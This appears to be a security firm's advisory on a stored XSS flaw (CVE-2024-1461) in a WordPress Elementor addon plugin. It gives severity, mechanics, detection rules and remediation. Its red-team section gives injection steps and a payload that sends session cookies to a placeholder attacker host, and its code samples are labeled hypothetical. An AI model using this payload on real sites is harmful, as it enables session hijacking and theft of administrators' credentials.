CVE-2024-1461

Executive Summary

CVE-2024-1461 is a Stored Cross-Site Scripting (XSS) vulnerability in the Elementor Addons by Livemesh WordPress plugin, affecting all versions up to and including 8.3.4. The flaw resides in the Team Members widget, where the style attribute is not properly sanitized or escaped. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts. When a victim (including administrators) visits the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is specific to the WordPress ecosystem and does not involve Apache or Nginx directly. The plugin is widely used for building Elementor-based sites, making this a significant supply chain risk for WordPress deployments.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. There is no associated NPM, PyPI, Go, or Ruby package. The risk is limited to WordPress sites using the Livemesh Elementor Addons plugin. Administrators should verify plugin versions and apply any available updates from the WordPress dashboard.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The medium severity is due to the requirement for authenticated access and the limited impact on confidentiality and integrity. However, the lack of user interaction and the ability to target administrators elevates the real-world risk.

Deep Dive & Mechanics

The vulnerability exists in the Team Members widget of the Livemesh Elementor Addons plugin. The widget allows users to input custom CSS styles via the style attribute. The plugin fails to sanitize or escape this input before storing it in the database and rendering it on the frontend.

Attack Flow:

1. An attacker with contributor-level access or higher creates or edits a page using the Team Members widget.
2. The attacker injects a malicious payload into the style attribute, such as </style><script>alert('XSS')</script>.
3. The plugin stores the payload in the WordPress database without proper sanitization.
4. When any user (including administrators) visits the page, the payload is rendered and executed in the browser.

Root Cause: Insufficient input sanitization and output escaping on the style attribute. The plugin likely uses esc_attr() or similar functions incorrectly, or omits them entirely for this attribute.

Vulnerable vs. Patched Code

Vulnerable Code (hypothetical example from plugin):

// In the widget render method
$style = $settings['style'];
echo '<div style="' . $style . '">';

Patched Code (expected fix):

// Properly escape the style attribute
$style = esc_attr($settings['style']);
echo '<div style="' . $style . '">';

The patched version would use esc_attr() to HTML-encode the attribute value, preventing script injection. Additionally, the plugin should validate that the style attribute contains only safe CSS properties.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with Elementor Addons by Livemesh <= 8.3.4
• Contributor-level account or higher

Exploitation Steps:

1. Log in as a contributor.
2. Create a new page or edit an existing one with Elementor.
3. Add the Team Members widget.
4. In the widget settings, locate the style attribute (e.g., in the "Custom CSS" or "Style" field).
5. Inject the following payload:

   </style><script>alert('XSS')</script>
   

6. Save and publish the page.
7. When an administrator visits the page, the script executes.

Advanced Payload:

</style><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team

Detection Steps:

1. Monitor for unusual style attribute values in Team Members widget data.
2. Check for unexpected script tags in page content.
3. Review WordPress database for stored XSS patterns.

Mitigation:

• Update the plugin to the latest version if a patch is available.
• Implement a Web Application Firewall (WAF) rule to block XSS payloads.
• Restrict contributor-level access to trusted users only.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains from WordPress admin pages.
• File: Modified page/post content containing <script> tags within style attributes.
• Database: Entries in wp_postmeta or wp_posts with malicious XSS payloads.
• Log: WordPress debug logs showing unexpected script execution errors.

Detection Engineering

YARA Rule

rule CVE_2024_1461_XSS {
    meta:
        description = "Detects stored XSS payloads in Livemesh Elementor Addons style attribute"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-1461"
    strings:
        $xss_payload = /<\/style>\s*<script[^>]*>.*?<\/script>/is
        $plugin_path = /wp-content\/plugins\/addons-for-elementor/i
    condition:
        $xss_payload and $plugin_path
}

Sigma Rule

title: CVE-2024-1461 Stored XSS in Livemesh Elementor Addons
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in the style attribute of Team Members widget
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.response.body|contains: 'style="</style><script>'
    condition: selection
falsepositives:
    - Legitimate use of style attribute with CSS
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-1461 Stored XSS in Livemesh Elementor Addons"; flow:to_server,established; content:"/wp-content/plugins/addons-for-elementor/"; http_uri; content:"style="; http_client_body; pcre:"/<\/style>\s*<script[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the Team Members widget or the entire plugin if no patch is available.
2. Update: Apply the latest plugin version from the WordPress repository once a patch is released.
3. WAF: Deploy a Web Application Firewall rule to block XSS payloads in style attributes.
4. Access Control: Restrict contributor-level access to trusted users only.
5. Monitoring: Enable logging and monitor for suspicious activity in page/post edits.
6. Backup: Regularly backup the WordPress database to recover from potential defacement.

Valters IT
Securing Digital Frontiers